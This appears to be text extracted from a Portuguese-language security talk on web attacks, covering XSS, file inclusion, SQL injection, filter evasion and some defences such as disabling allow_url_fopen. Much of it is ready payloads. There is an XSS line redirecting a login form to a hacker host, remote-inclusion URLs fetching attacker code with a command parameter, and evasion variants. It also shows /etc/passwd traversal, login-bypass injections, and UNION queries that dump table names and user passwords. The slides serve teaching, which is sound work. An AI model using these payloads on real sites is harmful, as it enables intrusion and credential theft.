Professional Documents
Culture Documents
mayconmaia@yahoo.com.br
Sobre o palestrante
Pra que segurana?
Ataques de Cross-Site-Script (XSS)
Ataques de File Include
Ataques de SQL Injection
Mecanismos de proteo (funcionam?)
Ataques planejados (avanado)
Tcnicas de evaso
Exemplos reais
Maycon Maia Vitali
Graduando em Cincia da Computao no
Centro Universitrio Vila Velha
No possui certificao Microsoft
No possui certificao Linux
No possui certificao Java
No possui certificao em Bando de Dados
No possui certificao em Redes
No possui certificao em Segurana da
Informao
Autodidata em segurana da informao;
Analista Pen-test (free-lancer) para diversas
empresas/Tigers Team;
Escritor de artigos tcnicos envolvendo segurana
da informao;
Palestrantes em diversos eventos tecnolgico como
H2HC, Encasoft, Code Breakers Meeting, etc;
Desenvolvedor de ferramentas de auditoria de
segurana;
Tambm conhecido como 0ut0fBound.
Escrita de exploits
Escrita e otimizao de shellcodes
Ataques web
Tcnicas de evaso
Engenharia Reversa (anlise de malwares)
Sistemas de Deteco de Intruso
Qualquer coisa que tenha Baixaria
Por prazer (hobby)
Necessidade pessoal ou corporativa
Para estar um passo a frente (contra 0-day)
Hackn Roll
Maldita incluso digital
Se uma coisa pode dar errada de 4 maneiras
possveis e voc consegue driblar as 4, quer
dizer que na verdade eram 5 - Murphy
Citao 1
Toda entrada mal intencionada at que se
provm ao contrrio
Citao 2
O sistema esta seguro at que se provem ao
contrrio
Permite ao atacante executar cdigo Client-Side
(JavaScript?) no browser da vtima
Impacto irrelevante em ataques no planejados
Trabalho em conjunto com Engenharia Social
(Porque no existe patch pra estupidez humana)
Com sucesso absoluto, permite fazer Session
Hijacking
Varivel busca no passar por nenhum tipo
de filtro ou tratamento antes de retornar ao
navegador do usurio
Para sucesso o ataque deve ser planejado e com
Engenharia Social
http:/www.empresa.com/busca.php?busca=<
script>document.frmLogin.action=http://ww
w.hacker.com/fake_login.php</script>
Session Hijacking
Servidor da Servidor do
Empresa Atacante
/index.php?pagina=http://www.hack.com/b4d_c0
de.txt? &cmd=id
http://www.hack.com/b4d_c0de.txt?.php
Filtrar assinaturas de ataques.
Filtrar assinaturas de ataques.
pagina=HTTP://www.hack.com/b4d_c0de.txt?
Filtrar assinaturas de ataques.
Filtrar assinaturas de ataques.
pagina=https://www.hack.com/b4d_c0de.txt?
pagina=ftp://ftp.hack.com/b4d_c0de.txt%00
Filtrar assinaturas de ataques.
Filtrar assinaturas de ataques.
pagina=\\samba_hacker\b4d_c0de.txt%00
HTTP and HTTPS
FTP and FTPS
PHP input/output streams
Compression Streams
Data (RFC 2397)
Glob
Secure Shell 2
Audio Streams
Process Interaction Streams
http://br2.php.net/manual/en/filesystem.con
figuration.php#ini.allow-url-fopen
allow_url_fopen=off
http://br2.php.net/manual/en/filesystem.con
figuration.php#ini.allow-url-fopen
allow_url_fopen=off
pagina=../../../../../etc/passwd%00
Existem outras solues boas e seguras.
Ocorre quando possvel inserir (injetar)
cdigos SQL em uma aplicao a partir de
informaes fornecidas pelo usurio
Permite ler dados sensveis do Banco de Dados
Permite modificar dados do Banco de Dados
(insert/delete/update)
Permite executar comandos administrativos do
Banco de Dados (ex: shutdown)
Em alguns casos, permite executar comandos
no Sistema Operacional.
Como o valor digitado no passou por nenhum
tipo de filtro um atacante pode injetar cdigos
SQL alterando a lgica da consulta.
Usurio: or =
Senha: or =
Usurio: UNION SELECT hacker,h4ck3r
Senha: h4ck3r
Senha
Usurio
www.empresa.com.br/noticias.php?id=2871
www.empresa.com.br/noticias.php?id=2870+1
www.empresa.com.br/noticias.php?id=2871
www.empresa.com.br/noticias.php?id=2871 --
www.empresa.com.br/noticias.php?id=2871
www.empresa.com.br/noticias.php?id=2871) --
O que falta?
Nomes de tabelas e nomes de campos
Como conseguir?
Brute-Force (usuarios, tb_usuarios, logins, acesso, etc)
INFORMATION_SCHEMA seu melhor amigo.
/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8,
9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES --
tab_noticia 6 tab_newsletter 6
7 7
/noticias.php?id=0 union select 1, 2, TABLE_NAME, 4, 5, 6, 7, 8,
9, 10, 11, 12, 13 FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME NOT IN (CHAR(116, 98, 95, 110, 111, 116,
105, 99, 105, 97)) --
tab_usuario 6
7
/noticias.php?id=0 union select 1, 2, COLUMN_NAME, 4, 5, 6, 7,
8, 9, 10, 11, 12, 13 from INFORMATION_SCHEMA.COLUNMS
where TABLE_NAME = tb_usuario --
tb_usuario 6
usu_senha
Tendo o nome da tabela e seus respectivos
campos de login/senha:
/noticias.php?id=0 union select 1, 2, usu_login, 4, 5,
6, usu_senha, 8, 9, 10, 11, 12, 13 from tb_usuarios --
admin 6
123456
Duas linhas de cdigo em troca de muuuuita
muuuita dor de cabea, perda de dinheiro e de
clientes.
Verificar por triggers ou store procedures que
facilitem o trabalho;